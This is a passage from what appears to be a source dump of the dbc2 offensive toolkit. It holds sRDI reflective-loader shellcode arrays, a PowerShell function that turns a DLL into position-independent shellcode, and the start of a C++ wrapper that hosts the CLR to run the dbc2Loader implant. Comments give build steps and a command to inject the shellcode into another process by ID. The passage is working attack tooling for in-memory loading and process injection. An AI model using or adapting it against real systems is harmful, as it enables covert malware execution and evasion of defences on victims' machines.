0xb0, 0xfe, 0xff, 0xff, 0xb9, 0xaf, 0xb1, 0x5c, 0x94, 0x48, 0x8b, 0xd8, 0xe8, 0xa3, 0xfe, 0xff, 0xff, 0x48, 0x63, 0x6e, 0x3c, 0x33, 0xc9, 0x48, 0x03, 0xee, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x8b, 0x55, 0x50, 0x44, 0x8d, 0x49, 0x40, 0x4c, 0x8b, 0xe8, 0x48, 0x89, 0x44, 0x24, 0x70, 0xff, 0xd3, 0x44, 0x8b, 0x45, 0x54, 0x48, 0x8b, 0xf8, 0x48, 0x8b, 0xd6, 0x41, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x74, 0x13, 0x48, 0x8b, 0xc8, 0x48, 0x2b, 0xce, 0x8a, 0x02, 0x88, 0x04, 0x11, 0x49, 0x03, 0xd3, 0x4d, 0x2b, 0xc3, 0x75, 0xf3, 0x44, 0x0f, 0xb7, 0x4d, 0x06, 0x0f, 0xb7, 0x45, 0x14, 0x4d, 0x85, 0xc9, 0x74, 0x36, 0x48, 0x8d, 0x4c, 0x28, 0x2c, 0x8b, 0x51, 0xf8, 0x44, 0x8b, 0x01, 0x44, 0x8b, 0x51, 0xfc, 0x48, 0x03, 0xd7, 0x4c, 0x03, 0xc6, 0x4d, 0x2b, 0xcb, 0x4d, 0x85, 0xd2, 0x74, 0x10, 0x41, 0x8a, 0x00, 0x4d, 0x03, 0xc3, 0x88, 0x02, 0x49, 0x03, 0xd3, 0x4d, 0x2b, 0xd3, 0x75, 0xf0, 0x48, 0x83, 0xc1, 0x28, 0x4d, 0x85, 0xc9, 0x75, 0xcf, 0x8b, 0x9d, 0x90, 0x00, 0x00, 0x00, 0x48, 0x03, 0xdf, 0x8b, 0x43, 0x0c, 0x85, 0xc0, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8b, 0xc8, 0x48, 0x03, 0xcf, 0x41, 0xff, 0xd6, 0x44, 0x8b, 0x23, 0x8b, 0x73, 0x10, 0x4c, 0x03, 0xe7, 0x4c, 0x8b, 0xe8, 0x48, 0x03, 0xf7, 0xeb, 0x5b, 0x49, 0x83, 0x3c, 0x24, 0x00, 0x74, 0x3b, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x49, 0x85, 0x04, 0x24, 0x74, 0x2b, 0x49, 0x63, 0x45, 0x3c, 0x41, 0x0f, 0xb7, 0x14, 0x24, 0x42, 0x8b, 0x8c, 0x28, 0x88, 0x00, 0x00, 0x00, 0x42, 0x8b, 0x44, 0x29, 0x10, 0x48, 0x2b, 0xd0, 0x42, 0x8b, 0x44, 0x29, 0x1c, 0x49, 0x8d, 0x4c, 0x05, 0x00, 0x8b, 0x04, 0x91, 0x49, 0x03, 0xc5, 0xeb, 0x0e, 0x48, 0x8b, 0x06, 0x49, 0x8b, 0xcd, 0x48, 0x8d, 0x54, 0x07, 0x02, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x06, 0x48, 0x83, 0xc6, 0x08, 0x49, 0x83, 0xc4, 0x08, 0x48, 0x83, 0x3e, 0x00, 0x75, 0x9f, 0x8b, 0x43, 0x20, 0x48, 0x83, 0xc3, 0x14, 0x85, 0xc0, 0x0f, 0x85, 0x77, 0xff, 0xff, 0xff, 0x44, 0x8b, 0x64, 0x24, 0x78, 0x4c, 0x8b, 0x6c, 0x24, 0x70, 0x4c, 0x8b, 0xcf, 0x41, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x4c, 0x2b, 0x4d, 0x30, 0x83, 0xbd, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x76, 0xff, 0x0f, 0x84, 0x94, 0x00, 0x00, 0x00, 0x8b, 0x95, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd7, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, 0xbb, 0xff, 0x0f, 0x00, 0x00, 0x44, 0x8b, 0x02, 0x44, 0x8b, 0xd0, 0x4c, 0x8d, 0x5a, 0x08, 0x49, 0x83, 0xea, 0x08, 0x4c, 0x03, 0xc7, 0x49, 0xd1, 0xea, 0x74, 0x58, 0x41, 0x0f, 0xb7, 0x0b, 0x4c, 0x2b, 0xd6, 0x0f, 0xb7, 0xc1, 0x66, 0xc1, 0xe8, 0x0c, 0x66, 0x83, 0xf8, 0x0a, 0x75, 0x09, 0x48, 0x23, 0xcb, 0x4e, 0x01, 0x0c, 0x01, 0xeb, 0x33, 0x66, 0x83, 0xf8, 0x03, 0x75, 0x09, 0x48, 0x23, 0xcb, 0x46, 0x01, 0x0c, 0x01, 0xeb, 0x24, 0x66, 0x3b, 0xc6, 0x75, 0x11, 0x49, 0x8b, 0xc1, 0x48, 0x23, 0xcb, 0x48, 0xc1, 0xe8, 0x10, 0x66, 0x42, 0x01, 0x04, 0x01, 0xeb, 0x0e, 0x66, 0x41, 0x3b, 0xc6, 0x75, 0x08, 0x48, 0x23, 0xcb, 0x66, 0x46, 0x01, 0x0c, 0x01, 0x4d, 0x03, 0xde, 0x4d, 0x85, 0xd2, 0x75, 0xa8, 0x8b, 0x42, 0x04, 0x48, 0x03, 0xd0, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x75, 0x85, 0x8b, 0x5d, 0x28, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x48, 0x83, 0xc9, 0xff, 0x48, 0x03, 0xdf, 0x41, 0xff, 0xd5, 0x4c, 0x8b, 0xc6, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0xff, 0xd3, 0x45, 0x85, 0xe4, 0x0f, 0x84, 0x99, 0x00, 0x00, 0x00, 0x83, 0xbd, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x95, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd7, 0x44, 0x8b, 0x5a, 0x18, 0x45, 0x85, 0xdb, 0x74, 0x7a, 0x83, 0x7a, 0x14, 0x00, 0x74, 0x74, 0x44, 0x8b, 0x52, 0x20, 0x44, 0x8b, 0x42, 0x24, 0x33, 0xdb, 0x4c, 0x03, 0xd7, 0x4c, 0x03, 0xc7, 0x45, 0x85, 0xdb, 0x74, 0x5f, 0x45, 0x8b, 0x0a, 0x4c, 0x03, 0xcf, 0x33, 0xc9, 0x41, 0x0f, 0xbe, 0x01, 0xc1, 0xc9, 0x0d, 0x4c, 0x03, 0xce, 0x03, 0xc8, 0x41, 0x80, 0x79, 0xff, 0x00, 0x75, 0xed, 0x44, 0x3b, 0xe1, 0x74, 0x10, 0x03, 0xde, 0x49, 0x83, 0xc2, 0x04, 0x4d, 0x03, 0xc6, 0x41, 0x3b, 0xdb, 0x72, 0xd2, 0xeb, 0x2f, 0x41, 0x0f, 0xb7, 0x00, 0x83, 0xf8, 0xff, 0x74, 0x26, 0x8b, 0x52, 0x1c, 0xc1, 0xe0, 0x02, 0x48, 0x63, 0xc8, 0x48, 0x8d, 0x04, 0x0f, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x04, 0x02, 0x8b, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x03, 0xc7, 0x41, 0xff, 0xd0, 0x48, 0x8b, 0xc7, 0x48, 0x83, 0xc4, 0x28, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0xdf, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xe6, 0x5e, 0xc3 };
        var rdiShellcode32 = new byte[] { 0x55, 0x8b, 0xec, 0x83, 0xec, 0x18, 0x53, 0x56, 0x57, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xe8, 0x44, 0x02, 0x00, 0x00, 0x89, 0x45, 0xf4, 0xc7, 0x04, 0x24, 0x49, 0xf7, 0x02, 0x78, 0xe8, 0x35, 0x02, 0x00, 0x00, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0x89, 0x45, 0xec, 0xe8, 0x28, 0x02, 0x00, 0x00, 0x68, 0xaf, 0xb1, 0x5c, 0x94, 0x8b, 0xf8, 0xe8, 0x1c, 0x02, 0x00, 0x00, 0x8b, 0x5d, 0x08, 0x8b, 0x73, 0x3c, 0x83, 0xc4, 0x0c, 0x6a, 0x40, 0x68, 0x00, 0x30, 0x00, 0x00, 0x03, 0xf3, 0xff, 0x76, 0x50, 0x89, 0x45, 0xe8, 0x6a, 0x00, 0xff, 0xd7, 0x8b, 0xc8, 0x8b, 0x46, 0x54, 0x89, 0x4d, 0xfc, 0x8b, 0xfb, 0x85, 0xc0, 0x74, 0x0b, 0x2b, 0xcb, 0x8a, 0x17, 0x88, 0x14, 0x39, 0x47, 0x48, 0x75, 0xf7, 0x0f, 0xb7, 0x46, 0x14, 0x8d, 0x7c, 0x30, 0x2c, 0x0f, 0xb7, 0x46, 0x06, 0x89, 0x45, 0x08, 0x85, 0xc0, 0x74, 0x2f, 0x8b, 0x47, 0xf8, 0x8b, 0x0f, 0x8b, 0x57, 0xfc, 0xff, 0x4d, 0x08, 0x03, 0x45, 0xfc, 0x03, 0xcb, 0x89, 0x55, 0xf8, 0x85, 0xd2, 0x74, 0x0f, 0x8a, 0x11, 0xff, 0x4d, 0xf8, 0x88, 0x10, 0x40, 0x41, 0x83, 0x7d, 0xf8, 0x00, 0x75, 0xf1, 0x83, 0xc7, 0x28, 0x83, 0x7d, 0x08, 0x00, 0x75, 0xd1, 0x8b, 0x9e, 0x80, 0x00, 0x00, 0x00, 0x03, 0x5d, 0xfc, 0xeb, 0x6a, 0x03, 0x45, 0xfc, 0x50, 0xff, 0x55, 0xf4, 0x8b, 0x0b, 0x8b, 0x7b, 0x10, 0x03, 0x4d, 0xfc, 0x03, 0x7d, 0xfc, 0x89, 0x45, 0x08, 0xeb, 0x48, 0x8b, 0x11, 0x85, 0xd2, 0x74, 0x27, 0x79, 0x25, 0x8b, 0x50, 0x3c, 0x8b, 0x54, 0x02, 0x78, 0x03, 0xd0, 0x8b, 0x01, 0x25, 0xff, 0xff, 0x00, 0x00, 0x2b, 0x42, 0x10, 0x8b, 0x52, 0x1c, 0x8d, 0x14, 0x82, 0x8b, 0x45, 0x08, 0x8b, 0x14, 0x02, 0x03, 0xd0, 0x89, 0x17, 0xeb, 0x15, 0x8b, 0x0f, 0x03, 0x4d, 0xfc, 0x83, 0xc1, 0x02, 0x51, 0x50, 0xff, 0x55, 0xec, 0x8b, 0x4d, 0xf8, 0x89, 0x07, 0x8b, 0x45, 0x08, 0x83, 0xc7, 0x04, 0x83, 0xc1, 0x04, 0x83, 0x3f, 0x00, 0x89, 0x4d, 0xf8, 0x75, 0xb0, 0x83, 0xc3, 0x14, 0x8b, 0x43, 0x0c, 0x85, 0xc0, 0x75, 0x8f, 0x8b, 0x5d, 0xfc, 0x2b, 0x5e, 0x34, 0x39, 0x86, 0xa4, 0x00, 0x00, 0x00, 0x74, 0x7e, 0x8b, 0x96, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x55, 0xfc, 0xeb, 0x6c, 0x8b, 0x0a, 0x03, 0x4d, 0xfc, 0x83, 0xc0, 0xf8, 0xd1, 0xe8, 0x8d, 0x7a, 0x08, 0x89, 0x7d, 0xf8, 0x74, 0x57, 0x48, 0x89, 0x45, 0x08, 0x8b, 0x45, 0xf8, 0x0f, 0xb7, 0x00, 0x66, 0x8b, 0xf8, 0x66, 0xc1, 0xef, 0x0c, 0x66, 0x83, 0xff, 0x0a, 0x74, 0x06, 0x66, 0x83, 0xff, 0x03, 0x75, 0x0a, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x01, 0x1c, 0x08, 0xeb, 0x25, 0x66, 0x83, 0xff, 0x01, 0x75, 0x10, 0x8b, 0xfb, 0x25, 0xff, 0x0f, 0x00, 0x00, 0xc1, 0xef, 0x10, 0x66, 0x01, 0x3c, 0x08, 0xeb, 0x0f, 0x66, 0x83, 0xff, 0x02, 0x75, 0x09, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x66, 0x01, 0x1c, 0x08, 0x8b, 0x45, 0x08, 0x83, 0x45, 0xf8, 0x02, 0x85, 0xc0, 0x75, 0xa9, 0x03, 0x52, 0x04, 0x8b, 0x42, 0x04, 0x85, 0xc0, 0x75, 0x8d, 0x8b, 0x5e, 0x28, 0x03, 0x5d, 0xfc, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0xff, 0xff, 0x55, 0xe8, 0x8b, 0x7d, 0xfc, 0x6a, 0x01, 0x6a, 0x01, 0x57, 0xff, 0xd3, 0x33, 0xdb, 0x39, 0x5d, 0x0c, 0x74, 0x75, 0x39, 0x5e, 0x7c, 0x74, 0x70, 0x8b, 0x76, 0x78, 0x03, 0xf7, 0x8b, 0x56, 0x18, 0x3b, 0xd3, 0x74, 0x64, 0x39, 0x5e, 0x14, 0x74, 0x5f, 0x8b, 0x46, 0x20, 0x8b, 0x4e, 0x24, 0x03, 0xc7, 0x03, 0xcf, 0x89, 0x5d, 0x08, 0x3b, 0xd3, 0x76, 0x4e, 0x8b, 0x10, 0x03, 0x55, 0xfc, 0x33, 0xff, 0x0f, 0xbe, 0x1a, 0xc1, 0xcf, 0x0d, 0x03, 0xfb, 0x42, 0x80, 0x7a, 0xff, 0x00, 0x75, 0xf1, 0x39, 0x7d, 0x0c, 0x74, 0x13, 0xff, 0x45, 0x08, 0x8b, 0x55, 0x08, 0x83, 0xc0, 0x04, 0x83, 0xc1, 0x02, 0x3b, 0x56, 0x18, 0x72, 0xd4, 0xeb, 0x20, 0x0f, 0xb7, 0x01, 0x83, 0xf8, 0xff, 0x74, 0x18, 0x8b, 0x4e, 0x1c, 0xff, 0x75, 0x14, 0x8d, 0x0c, 0x81, 0x8b, 0x45, 0xfc, 0x8b, 0x0c, 0x01, 0xff, 0x75, 0x10, 0x03, 0xc8, 0xff, 0xd1, 0x59, 0x59, 0x8b, 0x45, 0xfc, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x40, 0x0c, 0x8b, 0x40, 0x0c, 0x83, 0xec, 0x14, 0x53, 0x56, 0x57, 0xe9, 0x9f, 0x00, 0x00, 0x00, 0x8b, 0x71, 0x3c, 0x8b, 0x50, 0x2c, 0x8b, 0x74, 0x0e, 0x78, 0x83, 0x65, 0xf8, 0x00, 0x8b, 0x78, 0x30, 0x8b, 0x00, 0x89, 0x55, 0xec, 0x85, 0xf6, 0x0f, 0x84, 0x81, 0x00, 0x00, 0x00, 0x83, 0x65, 0xfc, 0x00, 0xc1, 0xea, 0x10, 0x33, 0xdb, 0x66, 0x3b, 0xda, 0x73, 0x2d, 0x8b, 0x55, 0xfc, 0x8a, 0x14, 0x17, 0xc1, 0x4d, 0xf8, 0x0d, 0x80, 0xfa, 0x61, 0x0f, 0xbe, 0xd2, 0x7c, 0x0c, 0x8b, 0x5d, 0xf8, 0x8d, 0x54, 0x13, 0xe0, 0x89, 0x55, 0xf8, 0xeb, 0x03, 0x01, 0x55, 0xf8, 0x0f, 0xb7, 0x55, 0xee, 0xff, 0x45, 0xfc, 0x39, 0x55, 0xfc, 0x72, 0xd3, 0x83, 0x65, 0xfc, 0x00, 0x03, 0xf1, 0x8b, 0x56, 0x20, 0x8b, 0x7e, 0x18, 0x03, 0xd1, 0x85, 0xff, 0x74, 0x34, 0x8b, 0x3a, 0x03, 0xf9, 0x33, 0xdb, 0x83, 0xc2, 0x04, 0x89, 0x7d, 0xf4, 0x0f, 0xbe, 0x3f, 0xc1, 0xcb, 0x0d, 0x03, 0xdf, 0x8b, 0x7d, 0xf4, 0x47, 0x80, 0x7f, 0xff, 0x00, 0x89, 0x7d, 0xf4, 0x75, 0xeb, 0x03, 0x5d, 0xf8, 0x3b, 0x5d, 0x08, 0x74, 0x1d, 0xff, 0x45, 0xfc, 0x8b, 0x7d, 0xfc, 0x3b, 0x7e, 0x18, 0x72, 0xcc, 0x8b, 0x48, 0x18, 0x85, 0xc9, 0x0f, 0x85, 0x56, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x55, 0xfc, 0x8b, 0x46, 0x24, 0x8d, 0x04, 0x50, 0x0f, 0xb7, 0x04, 0x08, 0x8b, 0x56, 0x1c, 0x8d, 0x04, 0x82, 0x8b, 0x04, 0x08, 0x03, 0xc1, 0xeb, 0xe1 };

        var newShellcode = new List<byte>();

        if (Is64BitDLL(dllBytes))
        {
            var rdiShellcode = rdiShellcode64;
            int bootstrapSize = 34;

            // call next instruction (Pushes next instruction address to stack)
            newShellcode.Add(0xe8);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);

            //Here is where the we pop the address of our shellcode off the stack and into the first register
            // pop rcx
            newShellcode.Add(0x59);

            // mov r8, rcx - Backup our memory location to RCX before we start subtracting
            newShellcode.Add(0x49);
            newShellcode.Add(0x89);
            newShellcode.Add(0xc8);

            // Put the location of the DLL into RCX
            // add rcx, <Length of bootstrap> - 5 (For our call instruction) + <rdiShellcode Length>
            newShellcode.Add(0x48);
            newShellcode.Add(0x81);
            newShellcode.Add(0xc1);

            foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length)))
                newShellcode.Add(b);

            // mov edx, <hash of function>
            newShellcode.Add(0xba);
            foreach (byte b in BitConverter.GetBytes((uint)functionHash))
                newShellcode.Add(b);

            // Put the location of our user data in 
            // add r8, (Size of bootstrap) + <Length of RDI Shellcode> + <Length of DLL>
            newShellcode.Add(0x49);
            newShellcode.Add(0x81);
            newShellcode.Add(0xc0);

            foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length)))
                newShellcode.Add(b);

            // mov r9d, <Length of User Data>
            newShellcode.Add(0x41);
            newShellcode.Add(0xb9);

            foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
                newShellcode.Add(b);

            //Write the rest of RDI
            foreach (byte b in rdiShellcode)
                newShellcode.Add(b);

            //Write our DLL
            dllBytes[0] = 0x00;
            dllBytes[1] = 0x00;
            foreach (byte b in dllBytes)
                newShellcode.Add(b);

            //Write our userdata
            foreach (byte b in userData)
                newShellcode.Add(b);

        }
        else // 32 Bit
        {
            var rdiShellcode = rdiShellcode32;
            int bootstrapSize = 40;

            // call next instruction (Pushes next instruction address to stack)
            newShellcode.Add(0xe8);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);

            //Here is where the we pop the address of our shellcode off the stack and into the first register
            // pop ecx
            newShellcode.Add(0x58);

            // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
            newShellcode.Add(0x89);
            newShellcode.Add(0xc3);

            // Put the location of the DLL into ECX
            // add eax, <size of bootstrap> + <Size of RDI Shellcode>
            newShellcode.Add(0x05);
            foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length)))
                newShellcode.Add(b);

            // add ebx, <size of bootstrap> + <Size of RDI Shellcode> + <Size of DLL>
            newShellcode.Add(0x81);
            newShellcode.Add(0xc3);

            foreach (byte b in BitConverter.GetBytes((uint)(bootstrapSize - 5 + rdiShellcode.Length + dllBytes.Length)))
                newShellcode.Add(b);

            //push <Length of User Data>
            newShellcode.Add(0x68);

            foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
                newShellcode.Add(b);

            // push ebx
            newShellcode.Add(0x53);

            // push <hash of function>
            newShellcode.Add(0x68);
            foreach (byte b in BitConverter.GetBytes((uint)functionHash))
                newShellcode.Add(b);

            // push eax
            newShellcode.Add(0x50);

            // call instruction - We need to transfer execution to the RDI assembly this way (Skip over our next few op codes)
            newShellcode.Add(0xe8);
            newShellcode.Add(0x04);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);
            newShellcode.Add(0x00);

            // add esp, 0x10 - RDI pushes things to the stack it never removes, we need to make the correction ourselves
            newShellcode.Add(0x83);
            newShellcode.Add(0xc4);
            newShellcode.Add(0x10);

            // ret - because we used call earlier
            newShellcode.Add(0xc3);

            //Write the rest of RDI
            foreach (byte b in rdiShellcode)
                newShellcode.Add(b);

            //Write our DLL
            dllBytes[0] = 0x00;
            dllBytes[1] = 0x00;
            foreach (byte b in dllBytes)
                newShellcode.Add(b);

            //Write our userdata
            foreach (byte b in userData)
                newShellcode.Add(b);
        }
            
        return newShellcode.ToArray();
    }
}
"@

Function ConvertTo-Shellcode{
    <#
    .SYNOPSIS
    Convert DLL file to position independent shellcode

    Author: Nick Landers (@monoxgas)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

    .DESCRIPTION
    Uses ShellcodeRDI to bootstrap and shellcode PE loader to an existing file. When
    execution is passed to the converted shellcode, the DLL file is unpacked and loaded
    in memory.

    .EXAMPLE
    C:\PS> ConvertTo-Shellcode -File TestDLL_x86.dll
    
    .EXAMPLE
    C:\PS> import-module .\Invoke-Shellcode.ps1
    C:\PS> Invoke-Shellcode -Shellcode (ConvertTo-Shellcode TestDLL_x64.dll)

    .PARAMETER File
    The target DLL file to convert

    .PARAMETER FunctionHash
    Hashed name of the function to call after DLLMain

    .PARAMETER UserData
    Data to pass to the target function
    #>
    [CmdletBinding()]
    Param(
      [Parameter(Mandatory=$True,Position=1)]
      [string]$File,

      [Parameter(Position=2)]
      [int]$FunctionHash = 0x30627745,
	  #[int]$FunctionHash = 0xc59658c0, # dbc2

      [Parameter(Position=3)]
      [string]$UserData = ""
      
    )
    $Parameters = New-Object System.CodeDom.Compiler.CompilerParameters
    $Parameters.CompilerOptions += "/unsafe"
    Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $Parameters

    $FileData = Get-Content $File -Encoding Byte

    #$UserDataBytes =  [system.Text.Encoding]::Default.GetBytes($UserData) # + "\0")
	$UserDataBytes =  [system.Text.Encoding]::Unicode.GetBytes($UserData) # + "\0")

    # https://github.com/PowerShell/PowerShell/issues/3313
    $UintHash = [System.Uint32][System.Convert]::ToUint32($FunctionHash.ToString("X8"), 16)
    
    [sRDI]::ConvertToShellcode($FileData, $UintHash, $UserDataBytes)
}

================================================
FILE: dbc2Loader/nativeWrapper/dbc2LoaderWrapperCLR.cpp
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x

=============================== HOW TO COMPILE ===============================
=> Requires VisualStudio

====== x86 (32 bits) DLL:
	1/ First, run the following bat file:
		"c:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\vcvars32.bat"

	2/ Then compile it using
		c:\> cl.exe /LD dbc2LoaderWrapperCLR.cpp /o release_x86\dbc2LoaderWrapperCLR_x86.dll
	
====== x64 (64 bits) DLL:
		1/ First, run the following bat file:
		"C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\x86_amd64\vcvarsx86_amd64.bat"

	2/ Then compile it using
		c:\> cl.exe /LD dbc2LoaderWrapperCLR.cpp /o release_x64\dbc2LoaderWrapperCLR_x64.dll

=============================== HOW TO CONVERT TO SHELLCODE WITH sRDI ===============================
Once compiled as DLL, you can use sRDI to transform this DLL into a shellcode.

NB: You have to use a modified version of ConvertTo-Shellcode.ps1 to convert the supplied UserData to Unicode:
-- $UserDataBytes =  [system.Text.Encoding]::Default.GetBytes($UserData) # + "\0")
++ $UserDataBytes =  [system.Text.Encoding]::Unicode.GetBytes($UserData) # + "\0") 

To get the shellcode as a binary file:
	c:\> powershell.exe
	PS c:\> ipmo ConvertTo-Shellcode.ps1
	
	PS c:\> #x86 DLL 
	PS c:\> ConvertTo-Shellcode -File release_x86\dbc2LoaderWrapperCLR_86.dll -UserData "<all required parameters for the dbc2Loader entryPoint function>" | Set-Content -Path dbc2LoaderWrapperCLR_x86.bin -Encoding Byte
	
	PS c:\> #x64 DLL 
	PS c:\> ConvertTo-Shellcode -File release_x64\dbc2LoaderWrapperCLR_64.dll -UserData "<all required parameters for the dbc2Loader entryPoint function>" | Set-Content -Path dbc2LoaderWrapperCLR_x86.bin -Encoding Byte

Example of injecting the shellcode:
	PS c:\> ipmo Invoke-Shellcode.ps1
	PS c:\> Invoke-Shellcode -Shellcode (Get-Content .\dbc2LoaderWrapperCLR_x64.bin -Encoding byte) -ProcessID <ID of a 64 bits process>
*/

#pragma region Includes and Imports
//#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include "tchar.h"
#include "dbc2LoaderWrapperCLR.h"

#include <metahost.h>
#pragma comment(lib, "mscoree.lib")

// Import mscorlib.tlb (Microsoft Common Language Runtime Class Library).
#import "mscorlib.tlb" raw_interfaces_only				\
    high_property_prefixes("_get","_put","_putref")		\
    rename("ReportEvent", "InteropServices_ReportEvent")
using namespace mscorlib;

#pragma endregion

typedef HRESULT(WINAPI *funcCLRCreateInstance)(
	REFCLSID  clsid,
	REFIID     riid,
	LPVOID  * ppInterface
	);

typedef HRESULT (WINAPI *funcCorBindToRuntime)(
	LPCWSTR  pwszVersion,
	LPCWSTR  pwszBuildFlavor,
	REFCLSID rclsid,
	REFIID   riid,
	LPVOID*  ppv);


extern const unsigned int dbc2LoaderDLL_len;
extern unsigned char dbc2LoaderDLL[];
void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command);

//=======================================================================================
// Creation of CLR
//=======================================================================================
bool createDotNetFourHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
	HRESULT hr = NULL;
	funcCLRCreateInstance pCLRCreateInstance = NULL;
	ICLRMetaHost *pMetaHost = NULL;
	ICLRRuntimeInfo *pRuntimeInfo = NULL;
	bool hostCreated = false;

	pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance");
	if (pCLRCreateInstance == NULL)
	{
		wprintf(L"Could not find .NET 4.0 API CLRCreateInstance");
		goto Cleanup;
	}

	hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
	if (FAILED(hr))
	{
		// Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL
		wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
	if (FAILED(hr))
	{
		wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	// Check if the specified runtime can be loaded into the process.
	BOOL loadable;
	hr = pRuntimeInfo->IsLoadable(&loadable);
	if (FAILED(hr))
	{
		wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	if (!loadable)
	{
		wprintf(L".NET runtime v4.0.30319 cannot be loaded\n");
		goto Cleanup;
	}

	// Load the CLR into the current process and return a runtime interface
	hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
	if (FAILED(hr))
	{
		wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	hostCreated = true;

Cleanup:

	if (pMetaHost)
	{
		pMetaHost->Release();
		pMetaHost = NULL;
	}
	if (pRuntimeInfo)
	{
		pRuntimeInfo->Release();
		pRuntimeInfo = NULL;
	}

	return hostCreated;
}


HRESULT createDotNetTwoHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
	HRESULT hr = NULL;
	bool hostCreated = false;
	funcCorBindToRuntime pCorBindToRuntime = NULL;
	
	pCorBindToRuntime = (funcCorBindToRuntime)GetProcAddress(*hMscoree, "CorBindToRuntime");
	if (!pCorBindToRuntime)
	{
		wprintf(L"Could not find API CorBindToRuntime");
		goto Cleanup;
	}

	hr = pCorBindToRuntime(version, L"wks", CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
	if (FAILED(hr))
	{
		wprintf(L"CorBindToRuntime failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	hostCreated = true;

Cleanup:

	return hostCreated;
}

HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
	bool hostCreated = false;

	HMODULE hMscoree = LoadLibrary("mscoree.dll");
	
	if (hMscoree)
	{
		if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost) || createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost))
		{
			hostCreated = true;
		}
	}
	
	return hostCreated;
}

//=======================================================================================
// Exported function
// The passed arguments are passed to the 'dbc2loader.dbc2loader.entryPoint' function
//=======================================================================================
extern "C" __declspec(dllexport) int Dbc2Loader(wchar_t* argument)
{
	//Debug
	//MessageBoxW(NULL,argument,L"Debug",0);
	//wprintf(argument);
	HRESULT hr;
	ICorRuntimeHost *pCorRuntimeHost = NULL;
	IUnknownPtr spAppDomainThunk = NULL;
	_AppDomainPtr spDefaultAppDomain = NULL;

	// The .NET assembly to load.
	bstr_t bstrAssemblyName("dbc2Loader");
	_AssemblyPtr spAssembly = NULL;

	// The .NET class to instantiate.
	bstr_t bstrClassName("dbc2Loader.dbc2Loader");
	_TypePtr spType = NULL;


	// Create the runtime host
